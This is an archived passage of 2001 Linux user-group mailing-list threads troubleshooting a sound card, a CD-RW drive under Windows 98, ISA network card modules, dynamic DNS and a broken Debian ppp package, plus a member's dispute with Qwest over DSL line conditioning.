http://www.real-time.com | Fax : (952)943-8500 From gregory.siems at pca.state.mn.us Thu Aug 16 10:13:32 2001 From: gregory.siems at pca.state.mn.us (Siems, Gregory) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] SB128 Message-ID: I seem to recall having to remove lines from my modules config file... It's a pretty fuzzy memory and the machine is at home so I'm unabe te verify at the moment. > ---------- > From: Rodney Ray[SMTP:Rodney.Ray@childrenshc.org] > Reply To: tclug-list@mn-linux.org > Sent: Thursday, August 16, 2001 8:42 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] SB128 > > Yep, it locks up using sndconfig and setup. If I run sndconfig it says that it is a esonic (sp) sound card. I know it works, I had it working on RH6.2 but I don't remember what I did to get it to work...... > > >>> spencer@sihope.com 8/15/01 4:54:08 PM >>> > > Anyone know how to get a SB PCI128 to work under RH7.1? It is loading a ess drive (I think) and very time I try to use the card it locks up my machine. > > Have you tried to run sndconfig? > > > > that is my opinion > > -- > SpencerUnderground > ||mailto:spencer@sihope.com|| > "I have no doubt that it is part of the destiny of the human race in its > gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From bradyh at bitstream.net Thu Aug 16 10:14:43 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Pico In-Reply-To: <3B7BCB14.70100@winternet.com> References: <3B7BCB14.70100@winternet.com> Message-ID: <997974883.5527.9.camel@lis.llewellyn.com> You could try replacing Pico with Nano which is supposedly better. Uh oh, this isn't one of those holy war things is it? Brady > Hmm, the copy on Slackware 7.1 wraps properly. Looking at pico's man > page, it looks like there's a command line option to disable line > wrapping. If you're not running it directly, I'd check the > configuration of whatever's launching it to see if it's adding that > option (-w). If you're doing it from the command line, try typing > 'alias' and seeing if there's an alias defined for pico. > > Pico is also part of the Pine package (on Slackware, at least); you > might try looking through .pinerc and such and see if modifying the > composer options in there have an effect. > > -- > Michael Vieths > Email: Foeclan@Winternet.com > Web: http://www.geekbear.net > > > > Brian wrote: > > I think I found a bug in RH6.2's version of Pico. Has to do with line > > wrapping. > > > > I've since discovered > > Bob? Likes? orange? flower? what? three? where? george? > > > > Dangit... still there. That's a long line, it should just wrap george > > onto another line. Is it supposed to do this? I grabbed the latest pine > > build (4.33) and I was hoping it would fix it. Looks like it didn't :-( > > > > -Brian From thomas at stderr.net Thu Aug 16 10:15:30 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Dynamic DNS In-Reply-To: ; from natecars@real-time.com on Thu, Aug 16, 2001 at 10:12:03AM -0500 References: <20010816170906.A71940@io.stderr.net> Message-ID: <20010816171529.B71940@io.stderr.net> On Thu, Aug 16, 2001 at 10:12:03AM -0500, Nate Carlson wrote: > On Thu, 16 Aug 2001, Thomas Eibner wrote: > > It's not anything like in 8? allow-update { ip1; ip2; }; ? > > > > If that works I can fix you a perl script to do the update if you want. > > I'm sure that's how it's done, but I also have to figure out how to > authenticate it, since my IP will be dynamic within a certain range.. A little cgi-script on a by-you secure webserver with a static ip? -- Thomas Eibner DnsZone mod_pointer From natecars at real-time.com Thu Aug 16 10:20:38 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Dynamic DNS In-Reply-To: <20010816171529.B71940@io.stderr.net> Message-ID: On Thu, 16 Aug 2001, Thomas Eibner wrote: > > > It's not anything like in 8? allow-update { ip1; ip2; }; ? > > > > > > If that works I can fix you a perl script to do the update if you want. > > > > I'm sure that's how it's done, but I also have to figure out how to > > authenticate it, since my IP will be dynamic within a certain range.. > > A little cgi-script on a by-you secure webserver with a static ip? Actually, nsupdate will work, and supports signed requests. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From bradyh at bitstream.net Thu Aug 16 10:21:47 2001 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] SB128 In-Reply-To: References: Message-ID: <997975307.5532.13.camel@lis.llewellyn.com> I have an SB128 and I haven't had any problems with it aside from an apparent IRQ conflict that was fairly easily fixed. The only thing is that some sound programs don't work after a reboot until I run xmms then sound works fine after that. Brady > On Thu, 16 Aug 2001, Rodney Ray wrote: > > > Yep, it locks up using sndconfig and setup. If I run sndconfig it says that it is a esonic (sp) sound card. I know it works, I had it working on RH6.2 but I don't remember what I did to get it to work...... > > I have this identical card and I'm planning on some day getting RH7.1 on > my machine. is it possible that the module in the 2.4.whatever71shipswith > kernel is broken? It works for me under 7.0 but that's a 2.2 kernel. I > haven't tried it under 2.4 yet. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From troy.johnson at health.state.mn.us Thu Aug 16 10:24:40 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K Message-ID: Greetings TCLUGers who don't mind reading about Win* problems, I imagine I would also have a problem under Linux, but I am really writing this because I am really frustrated with a problem I am having installling a CD-RW drive in my parent's computer. I suspect the computer as the problem, and not the drives, but I wanted to know if anyone has seen anything like this before, and possibly suggest a solution. The computer: ---------------------- EPOX MVP3xxx mainboard (VIA chipset) K6-2 300MHz processor 384MB PC100 SDRAM Fujisu 6GB HDD (primary master) Toshiba 24x CDROM (secondary master) The CD-RW drives I've tried: --------------------------------------------- Philips 8x4x32 (cheapo best buy) Teac 8x8x32 (gns) I have tried both drives as secondary slaves and the Teac drive as a primary slave. I will try the Teac drive as a secondary master (all by itself), but I don't have much hope for that to work any better. The problem (for both drives): --------------------------------------------- The drive is recognized by the BIOS, and Win98 installs a driver for it. Win98 seems to think the drive is a CD-RW (the "properties" suggest it anyway), but the "Easy CD Creator" software has other ideas (thinks it can write, but only at "1x"). When a blank CDR is put into the CD-RW drive, the computer gets really busy. It is reading the CD-RW and reading the HDD and is slow about updating at least the CD writing software window, and sometimes the whole screen, but the mouse seems unaffected. When the blank CDR is ejected the activity dies down slowly and the system returns to "normal". Overall, system performance is negatively affected while the drive is installed, but not by an excessive amount. I installed the Philips drive and assumed the problem was with it when it didn't work. Now that the Teac drive is exhibiting the exact same behavior I suspect the computer, which seems wierd to me because the computer is pretty normal when the CD-RW is not installed. :-( I plan to install the Philips drive in another computer to test this theory tonight. Any hints? Am I missing the obvious? Thank you for reading, Troy From doug at northlandstudios.com Thu Aug 16 10:41:28 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K References: Message-ID: <003a01c12669$ea782b10$940f3c9e@DHENRYW2P> I've seen this before in win98...It's a driver issue, and could be the cd or the via chipset driver or even some other one. Make sure win98 has the updated via chipset drivers first, then search around for an updated cd-rw driver for the drive under win98. If a disk or cd came with it try to install the drivers for the cdrw off of there (if you haven't already). Putting it in another machine will verify that the drive works, but the odds of 2 different ones in the being bad are almost nil. Win2k should pick them both up no problem though... Doug ----- Original Message ----- From: "Troy.A Johnson" To: Sent: Thursday, August 16, 2001 10:24 AM Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K > Greetings TCLUGers who don't mind reading about > Win* problems, > > I imagine I would also have a problem under Linux, > but I am really writing this because I am really > frustrated with a problem I am having installling > a CD-RW drive in my parent's computer. I suspect > the computer as the problem, and not the drives, > but I wanted to know if anyone has seen anything > like this before, and possibly suggest a solution. > > The computer: > ---------------------- > EPOX MVP3xxx mainboard (VIA chipset) > K6-2 300MHz processor > 384MB PC100 SDRAM > Fujisu 6GB HDD (primary master) > Toshiba 24x CDROM (secondary master) > > The CD-RW drives I've tried: > --------------------------------------------- > Philips 8x4x32 (cheapo best buy) > Teac 8x8x32 (gns) > > I have tried both drives as secondary slaves > and the Teac drive as a primary slave. I will > try the Teac drive as a secondary master (all > by itself), but I don't have much hope for that > to work any better. > > The problem (for both drives): > --------------------------------------------- > The drive is recognized by the BIOS, and > Win98 installs a driver for it. Win98 seems > to think the drive is a CD-RW (the "properties" > suggest it anyway), but the "Easy CD Creator" > software has other ideas (thinks it can write, but > only at "1x"). > > When a blank CDR is put into the CD-RW drive, > the computer gets really busy. It is reading the > CD-RW and reading the HDD and is slow about > updating at least the CD writing software window, > and sometimes the whole screen, but the mouse > seems unaffected. When the blank CDR is > ejected the activity dies down slowly and the > system returns to "normal". Overall, system > performance is negatively affected while the > drive is installed, but not by an excessive amount. > > I installed the Philips drive and assumed the > problem was with it when it didn't work. Now > that the Teac drive is exhibiting the exact same > behavior I suspect the computer, which seems > wierd to me because the computer is pretty > normal when the CD-RW is not installed. :-( > I plan to install the Philips drive in another > computer to test this theory tonight. > > Any hints? Am I missing the obvious? > > Thank you for reading, > > Troy > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From dieman+tclug at ringworld.org Thu Aug 16 10:38:15 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: <000401c12653$a8c35840$6601a8c0@zippy> References: <20010815223049.BA86B7A926@visi.com> <01081519040101.11468@friday.tarsk.com> <20010816020315.C93907A926@visi.com> <01081522425302.11468@friday.tarsk.com> <000301c12613$0658c6c0$6601a8c0@zippy> <20010816010442.D11305@ringworld.org> <000401c12653$a8c35840$6601a8c0@zippy> Message-ID: <20010816103815.F11305@ringworld.org> * Mark Browne [010816 08:36]: > The default mail readers built into both my Visor and palm Vx. Oh. I use either papimail or eudora. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Thu Aug 16 10:39:48 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: References: Message-ID: <20010816103948.G11305@ringworld.org> > No, it is not "obviously an Outlook Express problem". There must be > something different about the formatting of a message sent by mutt in Yeah, mail readers that either half-implement MIME, or dont know to go to the first part of a MIME message that it can 'read' by default. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From JMiller2 at dainrauscher.com Thu Aug 16 10:47:35 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] networking Message-ID: <5F82C717009DF446AD6C89008A29F3940164AC78@MAIL4.corp.isib.net> I have to do a insmod 8139, then insmod ne io=0x300 irq=5. That seems to make it happy. When the system boots, it sees both cards but does fails on initialization. One card (d-link) uses rtl8329 driver, the driver is loaded, but I don't know how to get the other driver load because ne is depended on 8139 loading first. John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: Clay Fandre [mailto:clay@fandre.com] Sent: Thursday, August 16, 2001 8:53 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] networking What module does it use? Does it autodetect the IRQ and IO settings, or are you manually specifying them? I've had this same type of problem if I have the IRQ set wrong. It looks like it's working, but I can't ping anything remote. johndmiller [john@mn.mediaone.net] wrote: > Let me start by saying I am not a networking guy. > > One of my nic died about a week ago. I went and replaced it with another > identical (hah) one. It requires different drivers (so it is not the > same). Long story short. I have an d-link de220p (isa) for my internal > net card. It does not want to talk to the other cards. How do I get it > to speak to someone but it's self. > > Destination gateway Genmask flags > 192.168.0.0 * 255.255.255.0 U > 24.163.168.0 * 255.255.255.0 U > 127.0.0.0 * 255.0.0.0 U > default 24.163.168.1 0.0.0.0 ug > > I don't see irq conflicts or io conflicts. I looked in /proc/interrupts > and /proc/ioports. > > Any ideas? > > New question. Is it possible to copy and paste from two termial sessions > in kde? > > Thanks > > John Miller > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From spencer at sihope.com Thu Aug 16 10:36:44 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K In-Reply-To: ; from troy.johnson@health.state.mn.us on Thu, Aug 16, 2001 at 10:24:40AM -0500 References: Message-ID: <20010816103644.A21837@mudpiefoods.com> > > Any hints? Am I missing the obvious? > > Thank you for reading, > > Troy > I would certainly change the IDE calble. When swapping the cable make sure your cable is plugged in firmly at each join. Check the bios to make sure it is set properly. When in $windoze$ first check the system properties. Look at the far right tab (whatever its called) and look to see if your drives are using compatability mode, or maybe the MBR has been modified. Next I would boot into safe mode. Go to the system property device manager and remove all indices of cdr's and cdrw's. I personally would remove the ide controllers as well. Reboot and it should find what it wants. Another thought is to flash your bios. I know there are somewhat recent (newer than time of production) versions of that bios. If you still have problems I suggest you goto http://linuxiso.org and download your choice. With a Linux iso on your hard drive the burner is bound to work. > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From zibby+tclug at ringworld.org Thu Aug 16 10:57:55 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] apt-get acting up In-Reply-To: <200108161455.f7GEtCe16392@sprite.real-time.com> Message-ID: Running Woody or Sid? Looks like the maintainer of the ppp package borked a script, it's trying to run keep instead of the desired operation. /etc/modutils/0keep is a file that contains module info that should be kept from kernel to kernel and dist-upgrade to dist-upgrade. It's not something that should be run. Check bugs on the ppp package: http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=ppp&archive=no They may hed mor light on the subject. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From troy.johnson at health.state.mn.us Thu Aug 16 11:01:07 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides MuchFrustration UnderWin98 & Win2K Message-ID: Doug, I think I forgot to check if I got the VIA chipset drivers update installed (I think I did, but I cannot remember for sure). I'll check for that and a driver and thank for responding. Troy >>> doug@northlandstudios.com 08/16/01 10:41AM >>> I've seen this before in win98...It's a driver issue, and could be the cd or the via chipset driver or even some other one. Make sure win98 has the updated via chipset drivers first, then search around for an updated cd-rw driver for the drive under win98. If a disk or cd came with it try to install the drivers for the cdrw off of there (if you haven't already). Putting it in another machine will verify that the drive works, but the odds of 2 different ones in the being bad are almost nil. Win2k should pick them both up no problem though... From troy.johnson at health.state.mn.us Thu Aug 16 11:09:46 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides MuchFrustration UnderWin98 & Win2K Message-ID: Spencer, Thank you very much for your suggestions. Very detailed! >>> spencer@sihope.com 08/16/01 10:36AM >>> >I would certainly change the IDE calble. Done, forgot to mention it. >Check the bios to make sure it is set properly. >When in $windoze$ first check the system >properties. Look at the far right tab (whatever >its called) and look to see if your drives are >using compatability mode, or maybe the MBR >has been modified. Done. I played much with the BIOS and checked the "Performance" tab for difficulties. >Next I would boot into safe mode. Go to the >system property device manager and remove >all indices of cdr's and cdrw's. I personally >would remove the ide controllers as well. >Reboot and it should find what it wants. >Another thought is to flash your bios. >I know there are somewhat recent (newer >than time of production) versions of that bios. I removed the drives themselves, but not the controllers. It sounds reasonable (or as reasonable and anything Win* related sounds ;-) and it is something to try, so I thank you. I will look for a new BIOS (and drivers) too. There's got to be something. >If you still have problems I suggest >you goto http://linuxiso.org and >download your choice. With a Linux >iso on your hard drive >the burner is bound to work. I would, but I'd have to replace their "MLS" software with an easy & working Linux version and I don't have the time to write that right now. I think Minnesota's MLS people are going "webward", but I think they might also be requiring IE5. :-( We shall see... Thanks for the suggestions, I really appreciate them! Troy From florin at iucha.net Thu Aug 16 11:13:47 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides Much Frustration UnderWin98 & Win2K In-Reply-To: ; from troy.johnson@health.state.mn.us on Thu, Aug 16, 2001 at 10:24:40AM -0500 References: Message-ID: <20010816111346.D7925@beaver.iucha.org> On Thu, Aug 16, 2001 at 10:24:40AM -0500, Troy.A Johnson wrote: > Greetings TCLUGers who don't mind reading about > Win* problems, > > I imagine I would also have a problem under Linux, > but I am really writing this because I am really > frustrated with a problem I am having installling > a CD-RW drive in my parent's computer. I suspect > the computer as the problem, and not the drives, > but I wanted to know if anyone has seen anything > like this before, and possibly suggest a solution. > > The computer: > ---------------------- > EPOX MVP3xxx mainboard (VIA chipset) > > The CD-RW drives I've tried: > --------------------------------------------- > Philips 8x4x32 (cheapo best buy) > Teac 8x8x32 (gns) Download VIA 4-in-1 drivers from the via web site and disable dma for the burner. I have had the exact problem with similar hardware and that fixed it. To bring this discussion on topic, linux do not have any problems with it, only Windows. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Thu Aug 16 11:15:38 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive Provides MuchFrustration UnderWin98 & Win2K In-Reply-To: ; from troy.johnson@health.state.mn.us on Thu, Aug 16, 2001 at 11:01:07AM -0500 References: Message-ID: <20010816111538.E7925@beaver.iucha.org> On Thu, Aug 16, 2001 at 11:01:07AM -0500, Troy.A Johnson wrote: > Doug, > > I think I forgot to check if I got the VIA > chipset drivers update installed (I think > I did, but I cannot remember for sure). > > I'll check for that and a driver and thank > for responding. Make sure you download the latest drivers and disable DMA in control panel. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From clay at fandre.com Thu Aug 16 11:20:28 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] networking In-Reply-To: <5F82C717009DF446AD6C89008A29F3940164AC78@MAIL4.corp.isib.net> References: <5F82C717009DF446AD6C89008A29F3940164AC78@MAIL4.corp.isib.net> Message-ID: <20010816112028.K9546@fandre.com> Try different IRQs. The ne module will be happy with any IRQ, but only the right one will make it card work. Miller, John [JMiller2@dainrauscher.com] wrote: > I have to do a insmod 8139, then insmod ne io=0x300 irq=5. > That seems to make it happy. > > When the system boots, it sees both cards but does fails on > initialization. One card (d-link) uses rtl8329 driver, the driver is > loaded, but I don't know how to get the other driver load because ne is > depended on 8139 loading first. > > > > John Miller > Dain Rauscher > Information Services - Capital Markets > Software Developer > Phone: 612-547-7573 > Fax: 612-547-7580 > IS - Mail Stop: T23A > E-mail: MailTo:JMiller2@DainRauscher.com > > > > -----Original Message----- > From: Clay Fandre [mailto:clay@fandre.com] > Sent: Thursday, August 16, 2001 8:53 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] networking > > > What module does it use? Does it autodetect the IRQ and IO settings, or > are you manually specifying them? I've had this same type of problem if > I have the IRQ set wrong. It looks like it's working, but I can't ping > anything remote. > > johndmiller [john@mn.mediaone.net] wrote: > > Let me start by saying I am not a networking guy. > > > > One of my nic died about a week ago. I went and replaced it with > another > > identical (hah) one. It requires different drivers (so it is not the > > same). Long story short. I have an d-link de220p (isa) for my > internal > > net card. It does not want to talk to the other cards. How do I get > it > > to speak to someone but it's self. > > > > Destination gateway Genmask flags > > 192.168.0.0 * 255.255.255.0 U > > 24.163.168.0 * 255.255.255.0 U > > 127.0.0.0 * 255.0.0.0 U > > default 24.163.168.1 0.0.0.0 ug > > > > I don't see irq conflicts or io conflicts. I looked in > /proc/interrupts > > and /proc/ioports. > > > > Any ideas? > > > > New question. Is it possible to copy and paste from two termial > sessions > > in kde? > > > > Thanks > > > > John Miller > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From thudak at sistina.com Thu Aug 16 11:27:03 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: ; from natecars@real-time.com on Thu, Aug 16, 2001 at 10:03:38AM -0500 References: <20010815165938.C27860@localhost> Message-ID: <20010816112703.B4450@localhost> On Thu, Aug 16, 2001 at 10:03:38AM -0500, Nate Carlson wrote: >Don't _need_ 512mb+, but it sure helps performance. :) The main thing is >VMWare sessions.. a Win2k session + a couple Linux sessions can suck up >memory pretty quick. I guess I can see that. After doing a bit of research/asking around (thanks Ben) I found out that according to Rik Van Reil (VM layer), in 2.4 a minimum of 2x the RAM or none at all is the only 2 options that won't fsck up your mem usage. Which really really sucks. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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Unpacking replacement ppp ... /etc/modutils/actions: post-install: command not found /etc/modutils/actions: post-remove: command not found dpkg: warning - old post-removal script returned error exit status 127 dpkg - trying script from the new package instead ... /etc/modutils/actions: post-install: command not found /etc/modutils/actions: post-remove: command not found dpkg: error processing ppp_2.4.1-4_i386.deb (--install): subprocess new post-removal script returned error exit status 127 /etc/modutils/actions: post-install: command not found /etc/modutils/actions: post-remove: command not found dpkg: error while cleaning up: subprocess post-removal script returned error exit status 127 Errors were encountered while processing: ppp_2.4.1-4_i386.deb --- This was, mind you, using dpkg -i. So what do I do? Every time I run apt-get, it sees that it has an uninstalled upgrade for ppp and tried to install it. The bug list didn't seem to have anything about it. I don't know the internals of the packaging system, so I don't know how to remove it from the queue. :Peter From thomas at stderr.net Thu Aug 16 11:57:36 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:28 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up In-Reply-To: <200108161645.f7GGjEe22800@sprite.real-time.com>; from peter.clark@tides.com on Thu, Aug 16, 2001 at 09:41:15AM -0800 References: <200108161645.f7GGjEe22800@sprite.real-time.com> Message-ID: <20010816185736.D71940@io.stderr.net> On Thu, Aug 16, 2001 at 09:41:15AM -0800, peter.clark@tides.com wrote: > I am running Woody. I also just downloaded (through the Debian package > page) ppp_2.4.1-4_i386.deb, and tried dpkg -i. Same problem. So, I changed > the command in /etc/modutils/0keep to something harmless (ls) and tried > again. This was the result: > --- > (Reading database ... 65884 files and directories currently installed.) > Preparing to replace ppp 2.4.1-1 (using ppp_2.4.1-4_i386.deb) ... > Unpacking replacement ppp ... > /etc/modutils/actions: post-install: command not found > /etc/modutils/actions: post-remove: command not found > dpkg: warning - old post-removal script returned error exit status 127 > dpkg - trying script from the new package instead ... > /etc/modutils/actions: post-install: command not found > /etc/modutils/actions: post-remove: command not found > dpkg: error processing ppp_2.4.1-4_i386.deb (--install): > subprocess new post-removal script returned error exit status 127 > /etc/modutils/actions: post-install: command not found > /etc/modutils/actions: post-remove: command not found > dpkg: error while cleaning up: > subprocess post-removal script returned error exit status 127 > Errors were encountered while processing: > ppp_2.4.1-4_i386.deb Wonder what command it's trying to execute? Could you possibly try to extract the post-install script and execute it and see what happens? -- Thomas Eibner DnsZone mod_pointer From peter.clark at tides.com Thu Aug 16 13:01:02 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:26:28 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up Message-ID: <200108161705.f7GH5Ce23671@sprite.real-time.com> - Thomas Eibner wrote: > Wonder what command it's trying to execute? Could you possibly try > to extract the post-install script and execute it and see what > happens? Would be glad to...care to tell me how? :) As I said, I don't know the internals of the packaging system. :Peter From troy.johnson at health.state.mn.us Thu Aug 16 12:07:38 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW Drive ProvidesMuchFrustration UnderWin98 & Win2K Message-ID: Florin, I was wondering about that but I did not try it as I thought the burner might need it and it was way past sleepy time when I was looking at it. I will get the latest drivers and disable DMA and see what comes of it. Thank you very much! Troy >>> florin@iucha.net 08/16/01 11:15AM >>> >Make sure you download the latest >drivers and disable DMA in control panel. From kblack at isd.net Thu Aug 16 12:11:38 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:26:28 2005 Subject: [TCLUG] Qwest, love, and happyness! (Re: Line conditioning) Message-ID: <3b7bfeca.72c7.0@isd.net> (Warning, long message!!!) Well, I wrote to Qwest's president and got a response back from an underling. Nice to know they care. Is it just me, or does this reply below sound like a bucket of dung? 1. I did let them know I was aware of the FCC ruling which does deal with competitive carriers (I guess Covad is not one of these) 2. I did let them know I was under 18,000 feet from the CO (12,900 in fact), to which they said 15,000 feet is the max when the FCC ruling clearly states lines less than 18,000 feet. 3. The part about not doing any line conditioning is maybe my mis-interpretation of the ruling, but it sure reads like they should. (Not sure why the ruling was made if they (Qwest), can just side step it by saying (we don't wanna)!!! Gotta love the phone company! Kelly Black --------------------------------------------------------------- Dear Ms. Black, Thank you for your email. I am an assistant to Mr. Joseph P. Nacchio, president of Qwest Communications. The information contained in your email regarding conditioning is a completely different matter than your situation. The information you provide relates to a competitive carrier using our line facilities. One of the reasons you would have load coils on your line would be the distance that you are from our central office. Load coils boost the line signal from our central office to your residence. DSL is distance sensitive and is limited to 15,000 feet from the central office. Qwest's does not remove load coils , provide any special line conditioning or switch customers from one pair of wire to another in order to provision DSL. We apologize for any inconvenience this may have caused. Louis Armenta Assistant to CEO Joe Nacchio Qwest Executive Office Manager Customer Advocacy Department -----Original Message----- From: Shennon Black [mailto:swalkup@isd.net] Sent: Monday, August 13, 2001 10:53 PM To: joe@qwest.com Subject: Refusal of customer service to honour a request I am writing you in hopes of obtaining some sort of resolution on a problem, as the normal channels of communication have not been fruitfull. Your customer service personal have been batting me around on the subject of allowing shared line access on my phone line. I requested removal of the load coils from my line online from the web-site and go the following response: ------------------ Dear? Kelly, Thank you for choosing this forum to communicate with Qwest Repair. ?Qwest will ensure that every telephone line meets the basic requirements for voice telephone service.? If your line is working properly for voice transfers, this is not considered a repair issue.?? Any request to have the devises removed would have to go through our business office. You will have to speak with them directly about it.? They can be contacted at 1-800-244-1111, Monday through Friday from 7:00 a.m. until 7:00 p.m. Bill Qwest Repair Service Attendant - Web Response Team ------------------ Fair enough. I called the 800 number and spoke to 5 different representatives, all but one of which had never heard of a "load coil". When the call was routed to someone who did know, I was put on hold while they decided how to end the call. After the discussion, I was told that this is a "tarrif" issue and nothing could be done, I decided to look online to see if this was indeed the case. Here is some of what I found in the FCC'S database: -------------------- 88. We will require that the incumbent refusing a competitive carrier's request to condition a loop make an affirmative showing to the relevant state commission that conditioning the specific loop in question will significantly degrade voiceband services. The incumbent LEC must also show that there is no adjacent or alternative loop available that can be conditioned or to which the customer's service can be moved to enable line sharing. We believe an incumbent LEC will rarely, if ever, be able to demonstrate a valid basis for refusing to condition a loop under 18,000 feet. In addition, if an incumbent LEC claims that a loop cannot be conditioned without degrading the voiceband service, the incumbent LEC cannot then or subsequently condition that loop and provide xDSL service itself without first making available to any requesting carrier the high frequency portion of the newly-conditioned loop. We strongly support state commission actions to deter incumbent LECs from misusing these measures for anti-competitive purposes. ------------------- I will investigate this further and contact the Minnesota Public Utilities Commission to determine if this is indeed the case. As my line is well within the 18,000 fool limit, I feel I have been not treated fairly in this matter. Thank you, Kelly Black From crumley at belka.space.umn.edu Thu Aug 16 12:41:15 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:26:28 2005 Subject: Borked script, was Re: [TCLUG] apt-get acting up In-Reply-To: <200108161645.f7GGjEe22800@sprite.real-time.com>; from peter.clark@tides.com on Thu, Aug 16, 2001 at 09:41:15AM -0800 References: <200108161645.f7GGjEe22800@sprite.real-time.com> Message-ID: <20010816124115.A1103@gordo.space.umn.edu> On Thu, Aug 16, 2001 at 09:41:15AM -0800, peter.clark@tides.com wrote: > I am running Woody. I also just downloaded (through the Debian package > page) ppp_2.4.1-4_i386.deb, and tried dpkg -i. Same problem. So, I changed > the command in /etc/modutils/0keep to something harmless (ls) and tried > again. This was the result: The "keep" in /etc/modutils/0keep was not a command. /etc/modutils/0keep is a configuration file, and the "keep" line is part of the configuration. Put that line back into that file the way it was. The problem is with one of the packaging scripts using /etc/modutils/0keep incorrectly, not with the file itself. > This was, mind you, using dpkg -i. So what do 